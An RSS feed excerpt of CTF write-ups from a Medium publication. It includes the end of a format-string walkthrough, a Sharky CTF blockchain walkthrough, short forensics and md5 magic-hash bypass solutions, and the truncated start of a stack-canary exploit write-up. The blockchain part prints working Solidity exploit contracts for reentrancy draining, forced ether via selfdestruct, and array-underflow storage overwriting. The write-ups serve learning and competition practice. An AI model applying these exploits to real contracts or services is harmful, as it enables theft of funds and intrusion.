happens.</p><pre>(gdb) c<br>Continuing.<br>9726XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<strong>code execution redirected! you win</strong></pre><pre>Program exited with code 01</pre><p>Nice lets execute it without gdb</p><pre>user@protostar:/opt/protostar/bin$ python /tmp/exp.py | ./format4<br>$&amp;BBBBCCCC<br>...<br>...<br>...<br>...<br>8049726XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX<strong>code execution redirected! you win</strong></pre><p>Nice WE GOT it!!!!! We redirected code execution!!!</p><p>I hope you loved it because next will be about HEAPS!!!!</p><p>— H3retic4l_Human</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c86ca3458ad3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/intro-to-pwn-protostar-format-strings-c86ca3458ad3">INTRO TO PWN: PROTOSTAR FORMAT STRINGS</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sharky CTF: Blockchain Level 0 to 4 Writeup]]></title>
            <link>https://medium.com/zh3r0/sharky-ctf-blockchain-level-0-to-4-writeup-524b728709d0?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/524b728709d0</guid>
            <category><![CDATA[ethereum-blockchain]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Nithilan Pugal]]></dc:creator>
            <pubDate>Mon, 11 May 2020 18:00:17 GMT</pubDate>
            <atom:updated>2020-05-11T18:08:26.328Z</atom:updated>
            <content:encoded><![CDATA[<p>The Sharky Ctf Blockchain challenges were amazing challenges for people who have never touched smart contracts and the blockchain to get started on exploiting them. I absolutely loved it.</p><h3>WARMUP:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJw4vtrs8bWwThwm8Ww3pg.png" /></figure><p>So this is the first level. It is actually a really simple level. So we learn how to exploit smart contracts written in the solidity language and we use metamask as our browser wallet for ethereum and Remix IDE to compile and run the contract.</p><pre>pragma solidity = 0.4.25;<br><br>contract Warmup {<br>    bool public locked;<br>    <br>    constructor() public payable {<br>        locked = true;<br>    }<br>    <br>    function unlock() public payable {<br>        require(msg.value == 0.005 ether);<br>        locked = false;<br>    }<br>    <br>    function withdraw() public payable {<br>        require(!locked);<br>        msg.sender.call.value(address(this).balance)();<br>    }<br>}</pre><p>So this is the first contract code. Our goal is the steal all the money from the account. To use the function withdraw(), locked must be FALSE. For locked to be FALSE we must transact 0.005 ether to the instanciated address. So let us do that.</p><p>First create a new contract and paste:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXDirbmUqblkyngq4JS-GA.png" /></figure><p>Now compile it, and ignore all warnings unless if the warning color is in red:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RM-dFbcmZAzPDIVvBndg2A.png" /></figure><p>Now lets go to the transaction tab and Paste our instanciated address at the “At Address” input and start the contract</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eanDv_4YS-LO8yAibudCOg.png" /></figure><p>Lets first “unlock” by sending it 0.005 ether:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0TXCNMAVS4SoGTqt6KHLxA.png" /></figure><p>Ok looks like we have got successful transaction to the contract!!!</p><p>.</p><p>.</p><p>.</p><p>We can now withdraw from the account now that locked is equal to false</p><p>After withdrawal confirmation, click on “get flag”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3G9nz-SSvL01PEQUF-VouA.png" /></figure><p><strong>shkCTF{th4t_w4s_4n_1ns4n3_w4rmup_65c8522c0f36ed2566afa7}</strong></p><h3>LOGIC:</h3><p>This is the next level. Hmmm the heat is starting to turn up!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7Z3fGXB7aZtqp8Atwbljw.png" /></figure><pre>pragma solidity = 0.4.25;<br><br>contract Logic {<br>    address public owner;<br>    bytes32 private passphrase = &quot;th3 fl4g 1s n0t h3r3&quot;;<br>    <br>    constructor() public payable {<br>        owner = msg.sender;  <br>    }<br>    <br>    function <strong>withdraw()</strong> public {<br>        <strong>require(msg.sender == owner);</strong><br>        msg.sender.call.value(address(this).balance)();<br>    }<br><br>    function claim(bytes32 _secret) public payable {<br>        require(msg.value == 0.05 ether &amp;&amp; _secret == passphrase);<br>        owner = msg.sender;<br>    }<br>}</pre><p>Now lets analyze the contract for Logic. We have to become the owner to withdraw from the account!!!</p><p>Now to become the owner we have to pass in the secret passphrase in bytes32 format AND send 0.05 ether too. Good thing about the blockchain is that all information can be seen. As we can see the passphrase is “th3 fl4g 1s n0t h3r3”. Now using an online string to bytes32 converter — <a href="https://blockchangers.github.io/solidity-converter-online/">https://blockchangers.github.io/solidity-converter-online/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DPknnXqsH7oWMMHQPaYhQg.png" /></figure><p>Now we have the bytes32 conversion of the passphrase string: <br>0x74683320666c3467203173206e30742068337233000000000000000000000000</p><p>Now lets create a new .sol file for the new contract, compile, and put our instanciate address and input in the bytes32 converted passphrase…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QREFlGlZG-k_s1qaLLOcPA.png" /></figure><p>After confirmation of transaction, do a “withdraw” transaction and then after the confirmation of the “withdraw” transaction click “get flag” and Viola!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Btvo7C__VkEvlqoHKNMKHA.png" /></figure><p><strong>shkCTF{sh4m3_0n_y0u_l1ttl3_byt3_f0f6145540ea8c6ee8067c}</strong></p><h3>GUESSING!!!!!!:</h3><p>This was one of the most evil and most simplest smart contract yet to come!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2X_9VS3_6Q5jHtz9UyVlXA.png" /></figure><pre>pragma solidity = 0.4.25;<br><br>contract Guessing {<br>    address public owner;    <br>    <strong>bytes32 private passphrase;</strong><br>    <br>    constructor(bytes32 _passphrase) public payable {<br>        owner = msg.sender;<br>        passphrase = keccak256(abi.encodePacked(_passphrase));<br>    }<br>    <br>    function withdraw() public {<br>        require(msg.sender == owner);<br>        msg.sender.call.value(address(this).balance)();<br>    }<br><br>    function claim(bytes32 _secret) public payable {<br>        <strong>require(keccak256(abi.encodePacked(_secret)) == passphrase);<br>        owner = msg.sender;</strong> <br>    }<br>}</pre><p>It looks like we have to become owner to be able to withdraw. To become owner we had to — <em>cough cough </em>— “Guess”!!! If we read the storage where the variable <strong>passphrase</strong> is stored we would only get the keccak256 hashed version. Don’t even try to bruteforce it or even THINK about cracking the hash which would be impossible. Now if we look at the variable <strong>passphrase </strong>we can see that it is <strong>private.<br></strong>So if we check what <strong>private</strong> means: Private variables <strong>are</strong> only <strong>private</strong> for the smart contract<strong> </strong>scope which means they can’t be accessed or modified from other smart contracts. So we must find the original smart contract!!! Using out instanciated address let us search it on:</p><p><a href="https://ropsten.etherscan.io/">https://ropsten.etherscan.io/</a></p><p>Enter in the address and let us take a look at the contract:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMdAVhHaxGRPoQUbMhtP-Q.png" /></figure><p>Looking at the <strong>Contract</strong> section shows something interesting… <strong>Contract source verified</strong>??? It shows that this is related to another contract. That must be the original contract!!!</p><p>As we scroll down we see some data, yada yada yada and then…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMdAVhHaxGRPoQUbMhtP-Q.png" /></figure><p>Constructor Aruguments?!?!? So this must be the arguments input into the constructor arguments. That value looks like hex… If we convert it to ASCII it is…I’m pr3tty sur3 y0u brut3f0rc3d!, since it is already in bytes32 format we can just input this in for the “claimContract” function.</p><p>Now lets create a new .sol contract, compile, etc..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFDo4roRJbfDOvbaZyIKNg.png" /></figure><p>After <strong>claim</strong> function confirmation and the <strong>withdraw</strong> transaction confirmation, click on “get flag”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZ5ksc9tU5eRE39f38av6Q.png" /></figure><p><strong>shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}</strong></p><h3>MUUUULLLLTIIIIPAAAASSSS:</h3><p>This seemed absolutely appropriate here!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*qkmK6A-0lLtqdzjj" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dDDgL7dqq8r4HbZOlwiqQQ.png" /></figure><pre>pragma solidity = 0.4.25;<br><br>contract Multipass {<br>    address public owner;<br>    uint256 public money;<br>    <br>    mapping(address =&gt; int256) public contributions;<br>    <br>    bool public withdrawn;<br>    <br>    constructor() public payable {<br>        contributions[msg.sender] = int256(msg.value * 900000000000000000000);<br>        owner = msg.sender;<br>        money = msg.value;<br>        withdrawn = false;<br>    }<br>    <br>    function gift() public payable {<br>        require(contributions[msg.sender] == 0 &amp;&amp; msg.value == 0.00005 ether);<br>        contributions[msg.sender] = int256(msg.value) * 10;<br>        money += msg.value;<br>    }<br>  <br>    function takeSomeMoney() public {<br>        require(msg.sender == owner &amp;&amp; withdrawn == false);<br>        uint256 someMoney = money/20;<br>        <strong>if(msg.sender.call.value(someMoney)()){<br>            money -= someMoney;</strong><br>        }<br>        withdrawn = true;<br>    }<br>    <br>    function contribute(int256 _factor) public {<br>        require(contributions[msg.sender] != 0 &amp;&amp; _factor &lt; 10);<br>        contributions[msg.sender] *= _factor;<br>    }<br>    <br>    function claimContract() public {<br>        require(contributions[msg.sender] &gt; contributions[owner]);<br>        owner = msg.sender;<br>    }<br>}</pre><p>To any in-depth glance through for a first-timer at blockchain and smart contracts you can’t find anything but after careful searching you can find a vulnerability. This site is absolutely helpful for general vulnerabilities in solidity smart contracts: <br><a href="https://consensys.github.io/smart-contract-best-practices/known_attacks/">https://consensys.github.io/smart-contract-best-practices/known_attacks/</a></p><p>So the vulnerability in this code is something called Reentrancy, here the vulnerability is:<br><strong>if(msg.sender.call.value(someMoney)()){<br> money -= someMoney;<br></strong>This vulnerability is Reentrancy of a single function where the function is called again repeatedly before the first invocation is finished. So a hacker can exploit this by calling the function repeatedly thus money-=someMoney is looped until all the ETH is stolen. Now lets create a contract which exploits this:</p><pre>pragma solidity = 0.4.25;</pre><pre>import &quot;./Multipass.sol&quot;;</pre><pre>contract level3collect {<br>    Multipass c;<br>    <br>    constructor(address target) public payable { <br>        c = Multipass(target);<br>    }<br>    function attack() payable {<br>        c.gift.value(0.00005 ether)();<br>        c.contribute(-1000000000000000000000000000000000000000);<br>        c.contribute(-1);<br>        c.claimContract();<br>        c.takeSomeMoney();<br>    }<br>    function() payable {<br>        while(address(c).balance &gt; 0) {<br>        c.takeSomeMoney();<br>    }<br>    }<br>}</pre><p>Here is the exploit contract. As you can see we first <strong>gift</strong> and then we make our contributions bigger than the owner by exploiting that <strong>contribute </strong>takes in int256 numbers and only compares if the factor is less than 10, thus allowing us to use negative numbers.</p><p>In the <strong>function </strong>which is the fallback, it loops until the contract address’s balance is less than 0. So this keeps only the <strong>IF </strong>statement in loop thus not hitting <strong>withdraw = true;</strong></p><p>Now lets compile the exploit and then <strong>Deploy</strong> it at the instanciate address, not <strong>At Address</strong> since we are creating a contract not using an existing contract. Also make sure you have another file containing the .sol for Multipass since we are importing functions from that contract.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZvr3aPlu2podF1trBBVpw.png" /></figure><p>After successful contract creation, look at the Deployed contracts and press <strong>attack</strong> function to launch the attack. Remember to satisfy all the conditions including sending the 0.00005 ether when using the <strong>attack</strong> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fMsJTLl-oyoSTfVkqRt5RA.png" /></figure><p>After successful transaction, click on “get flag” and MWAHAHAHA!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*631-9PaIELdLd7sz_qEzJw.png" /></figure><p><strong>shkCTF{wr1t1ng_4_c0ntr4ct_t0_3xpl01t_4n_0th3r_2501dbec0821}</strong></p><h3>ShaShaSha:</h3><p>This was one of the most interesting blockchain challenges!!! I loved it!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IAjno9LyjcweJD5A1yGT5Q.png" /></figure><pre>pragma solidity = 0.4.25;<br><br>contract Shashasha {<br>    address public owner;<br>    uint256 public money;<br>    <br>    mapping(address =&gt; uint256) private contributions;    <br>    <br>    bool public hacker;<br>    uint[] public godlike;<br>    <br>    constructor() public payable {<br>        owner = msg.sender;<br>        contributions[owner] = msg.value * 9999999999999;<br>        money += msg.value;<br>        hacker = false;<br>    }<br>    <br>    function becomingHacker() public {<br>        require(address(this).balance != money);<br>        contributions[msg.sender] = 100;<br>        hacker = true;<br>    }<br><br>    <strong>function remove() public{<br>        require(hacker);<br>        godlike.length--;</strong><br>    }<br> <br>    function append(uint256 _value) public{<br>        require(hacker);<br>        godlike.push(_value);<br>    }<br> <br>    function <strong>update(uint256 _key, uint256 _value)</strong> public {<br>        require(hacker);        <br>        godlike[_key] = _value;<br>    }<br>    <br>    function withdraw() public payable {<br>        require(contributions[msg.sender] &gt; contributions[owner]);<br>        msg.sender.call.value(address(this).balance)();<br>    }<br>    <br>    function getContrib(address _key) public view returns(uint256) {<br>        return contributions[_key];<br>    }<br>}</pre><p>Now looking at this it may look impossible to exploit this to an untrained eye but it is. Now looking at the Solidity code, it allows array underflow and overflow and allows it to take big inputs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*AAtsD3a31B4fli05631w0g.png" /></figure><p>In the above contract we have a dynamic uint[] array. So what we have to do is underflow the array so from 0x0000… it goes to 0xFFFF… such that when we use the <strong>update</strong> function to overflow the array, the <strong>key</strong> is the offset into the stack where we reach the <strong>contribution</strong> which is stored in the stack and we overwrite it with <strong>value, </strong>the contribution we are aiming for is ours.</p><p>First lets <strong>becomeHacker</strong> by:</p><pre>pragma solidity = 0.4.25;</pre><pre>contract Suicide {<br>    function Suic() payable {<br>        selfdestruct(0x79f778578a80CF9f881b21Cb45b90316278d813d);<br>    }<br>}</pre><p>Here we created a contract which selfdestructs an ethereum block and that ethereum currency is forcefully added to the instanciated address which is: 0x79f…</p><p>Thus the balance of the contract will not be equal to the money variable. This will allow <strong>hacker = true; </strong>and thus exploit the program.</p><p>Compile and <strong>Deploy</strong> it, then use the <strong>Suic</strong> function to selfdestruct, make sure to send some ether or else it won’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mSOJamOzkCK3pzG0AmL3lQ.png" /></figure><p>While that happens make a new .sol contract for ShaShaSha and then <strong>Compile </strong>and <strong>At address </strong>it at the intanciated address.</p><p>Then use <strong>becomeHacker</strong> function such that <strong>hacker = true</strong>, so you can overflow the array and re-write contribution.</p><p>Right now the array is at 0x000… and we must underflow it such that it’s state changes to 0xFFF… We can use the <strong>remove </strong>function as this will subtract 1 from the array causing it to underflow.</p><p>Now lets execute <strong>remove</strong>, after the transaction is successful, if we look at the TXN hash and information of the transaction on etherscan, and we look at the State Changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9L8ab64bjPitCWxh8607Q.png" /></figure><p>We can see that in slot 4 where are array is located in Storage it was underflowed from 0x000… to 0xFFF…Thus when we <strong>update</strong> the array this will overflow the buffer.</p><p>Now we must find the offset where we must overwrite, we will be aiming for our contribution and overwrite it to a higher value than the owner.</p><pre>pragma solidity 0.4.25;</pre><pre>contract offset {<br>    function meep() public view returns (bytes32) {<br>        bytes32 a = keccak256(uint256(address(msg.sender)),uint256(0x02));<br>        bytes32 b = keccak256(uint256(0x04));<br>        return bytes32(uint256(a) - uint256(b));<br>    }<br>}</pre><p>So this is how we calculate the offset for us which we will input in as the <strong>key</strong>.</p><p>So storage in memory is stored as the hex of the keccak256 hash, this will give more information on it: <a href="https://solidity.readthedocs.io/en/v0.4.24/miscellaneous.html">https://solidity.readthedocs.io/en/v0.4.24/miscellaneous.html</a></p><p>So we use our wallet address and calculate the offset to our mapping of contribution:</p><p><strong>Compile </strong>and <strong>Deploy </strong>the contract and execute <strong>meep — </strong>sorry I was bored — for your offset which will be your <strong>key</strong> in <strong>update</strong>.</p><p>0x07e21e31244651b327aa456ff22c69cc573df24c3b1188e6d05d081cbb94a9d8</p><p>Now that we have the offset, use the <strong>update </strong>function, <strong>key</strong> should be the bytes32 of the returned value of the offset contract and <strong>value </strong>can be an integer or hex of a value which is bigger than the contribution of the owner.<br>Make sure it is not too big!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_wi_pLSYqG6biZ7yHP_Jg.png" /></figure><p>After successful transaction now execute <strong>withdraw</strong>, and after successful transaction. You have a final surprising waiting at the CTF site!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3SGWMGEOTCGAQnnDmK6pw.png" /></figure><p><strong>shkCTF{wh4t_th3_fuck_w1th_th4t_sh43_6aac18bebf505b9b1291477}</strong></p><p>YAAAAYYY!!!! We got all the flags and it was fun!!!! I loved the blockchain challenges done by the SharkyCTF. I learned a lot!!</p><p><strong>— H3retic4l_Human</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=524b728709d0" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/sharky-ctf-blockchain-level-0-to-4-writeup-524b728709d0">Sharky CTF: Blockchain Level 0 to 4 Writeup</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[zh3r0 CTF-Text madness-Official Write-up]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-text-madness-official-write-up-d17aed038cb3?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/d17aed038cb3</guid>
            <category><![CDATA[zh3r0]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[zh3r0ctf]]></category>
            <category><![CDATA[text]]></category>
            <dc:creator><![CDATA[Careless Finch]]></dc:creator>
            <pubDate>Fri, 08 May 2020 07:23:29 GMT</pubDate>
            <atom:updated>2020-05-08T07:23:29.045Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a very easy forensic challenge, You are given 2 text files and an image.</p><p>If you compare text in those two files using any comparison tool like <a href="https://www.diffchecker.com/diff">DiffChecker</a> you will find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VAWA1u3i7z_FKr-JL5MahQ.png" /></figure><p>You just have to check what is different in each word highlighted, You will get this:</p><blockquote>gregfdtfgedyu</blockquote><p>Now this is the key to steghide</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*Ai6bToJOamENoGb_iLnftg.png" /></figure><p>Flag: <strong>zh3r0{how’s_comparing}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d17aed038cb3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-text-madness-official-write-up-d17aed038cb3">zh3r0 CTF-Text madness-Official Write-up</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[zh3r0 CTF-Are you the Master? 1 Official Write-up]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-1-official-write-up-9cb03cfc5527?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/9cb03cfc5527</guid>
            <category><![CDATA[areyouthemaster]]></category>
            <category><![CDATA[zh3r0ctf]]></category>
            <category><![CDATA[zh3r0]]></category>
            <category><![CDATA[collision]]></category>
            <category><![CDATA[máster]]></category>
            <dc:creator><![CDATA[Careless Finch]]></dc:creator>
            <pubDate>Thu, 07 May 2020 13:17:04 GMT</pubDate>
            <atom:updated>2020-05-07T13:17:04.507Z</atom:updated>
            <content:encoded><![CDATA[<p>This is just a simple md5collision challenge. When you visit the given link, You are greeted with this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*WSHfA16eFvBsXfwdeyP6kA.png" /></figure><p>If you view the source code it says:</p><p>&lt;!DOCTYPE html&gt; &lt;h1&gt;&lt;b&gt;Hello&lt;/b&gt;&lt;/h1&gt;&lt;h2&gt;Welcome to the best collision&lt;/h2&gt;&lt;br&gt;&lt;img src=’<a href="http://134.209.157.250:9000/extras/lol.webp">extras/lol.webp</a>’&gt;<em>&lt;! — view.php may help you →</em></p><p>If you go to view.php, then you are given the source code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*bcMIWTD03bFrl-l2bvO7nA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/155/1*5Mf4lJ1-Kv5civbsXcI7Mg.png" /></figure><p>You can see that its taking 2 get requests one and two.</p><p>Also it is checking whether one is not equal to two.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/1*HdGO52D8bLX8JUbGS65ljg.png" /></figure><p>Then it is checking whether md5 hash of one is = to md5 hash of two.</p><p>So if we supply 2 values such that md5(one)=md5(2), It prints the answer.<br>In this case I am using two values I got from <a href="https://github.com/spaze/hashes/blob/master/md5.md">here</a>:</p><blockquote><strong>240610708 </strong>and <strong>QLTHNDT</strong></blockquote><p>You just need to pass it through URL like:</p><p><a href="http://134.209.157.250:9000/?one=240610708&amp;two=QLTHNDT"><strong><em>http://134.209.157.250:9000/?one=240610708&amp;two=QLTHNDT</em></strong></a></p><p>You get a black image click at it, You will get a pop up saying:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*PijPGoY0dzV0ikCODZhXAQ.png" /></figure><p>Flag:<br>zh3r0{<a href="https://tinyurl.com/y8t4hy4u">https://tinyurl.com/y8t4hy4u</a>}</p><p>Also note for md5 collision to work it should be == and not ===. Read more about it <a href="http://www.7codes.info/post/4/difference-between-==-and-===">here</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cb03cfc5527" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-1-official-write-up-9cb03cfc5527">zh3r0 CTF-Are you the Master? 1 Official Write-up</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[zh3r0 CTF-Are you the Master? 0 Official Write-up]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-0-official-write-up-c872848a8a17?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/c872848a8a17</guid>
            <category><![CDATA[zh3r0ctf]]></category>
            <category><![CDATA[zh3r0]]></category>
            <category><![CDATA[masters]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[areyouthemaster]]></category>
            <dc:creator><![CDATA[Careless Finch]]></dc:creator>
            <pubDate>Thu, 07 May 2020 10:16:08 GMT</pubDate>
            <atom:updated>2020-05-07T10:16:08.244Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a forensic challenge. You are given a corrupted image file.<br>When you open it in hex editor and scroll down you will see a URL like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/162/1*GXK8Pz5vAlFZ6L9BNreZ_Q.png" /></figure><p>On visiting that you will be redirected to google drive where you will be getting a flag.bps file.</p><p>.bps are patch file which can be patched to appropriate ROMs using certain software. In this case I am using <a href="https://www.smwcentral.net/?a=details&amp;id=11474&amp;p=section">flips</a>.</p><p>After than you have to fix the Image headers and remove that link from the footer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*sqnC_nyWj-99P-zMbdnmXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*JUeYOGxuPrgshhbQh5OLHw.png" /></figure><p>Most people who messaged me did a mistake here. They didn’t fix this IDAT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*Zb7_4PVXgXBTIExmTLEkdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*2dslxECQ488wDJRqxH46zw.png" /></figure><p>After than save it. If everything is fixed it will show purple else it will show black.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*UMRE75Ftqo7t25wBuPwI9Q.png" /></figure><p>After that you just have to Patch the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*sIg7eeJ-ay9lb9ARfrbfHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*InEGsBtLNrFBkaByE3fKCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GiphhrIurwyJ3Ih7sMBYwA.png" /></figure><h3><strong>Then you get the flag.</strong></h3><p>Hope you all enjoyed this write-up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c872848a8a17" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-are-you-the-master-0-official-write-up-c872848a8a17">zh3r0 CTF-Are you the Master? 0 Official Write-up</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[c4n4ry —  Writeup]]></title>
            <link>https://medium.com/zh3r0/c4n4ry-writeup-cb5d79fc91a6?source=rss----14a9066c581f---4</link>
            <guid isPermaLink="false">https://medium.com/p/cb5d79fc91a6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[tourpran]]></dc:creator>
            <pubDate>Thu, 07 May 2020 08:11:33 GMT</pubDate>
            <atom:updated>2020-05-07T08:10:50.041Z</atom:updated>
            <content:encoded><![CDATA[<h3>c4n4ry — Writeup</h3><p>I am so proud of my team. This was our first CTF and it went pretty well.</p><p>Challenge description:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*Q7dVOO-5FEJLG9KjnRDuRQ.png" /></figure><p>Solution:</p><h4>First step:</h4><p>Analyze the binary and then check its mitigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*isTIbbzevxq2I9DBF-b7Yw.png" /></figure><ul><li>NX is enabled so no shellcodes.</li><li>PIE is disabled and also ASLR was disabled so no worries of the address changing.</li></ul><p>Now, let us run the binary and then see !!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*E3LuAKU-1uiuOrC9kwOCbQ.png" /></figure><p>We can say that there was a continuous loop running. Also if we analyze the binary carefully we can see the `name` and `input` were not vulnerable but the `description` was using gets which reads arbitrary input.</p><p>Now we can disassemble the main file now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*-SD6UNquD1fKtdnaF3Hgkw.png" /></figure><ul><li>GETS is vulnerable but…</li><li>There is an additional memory compare.</li><li>We can say that it might be our canary.</li></ul><h4>The idea for the exploit:</h4><p>Our first step will be in calculating the offset for the canary. I use pwntools pwn cyclic function but you guys can do anything.</p><h4>Inside GDB:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*t8qs1hYvXJtIEC8uH7Ewng.png" /></figure><ul><li>I set a break at the memory compare.</li><li>I use pwntools to analyze what is being compared with what</li><li>Note: I also set up a fake canary to work with the binary locally</li></ul><figure><img 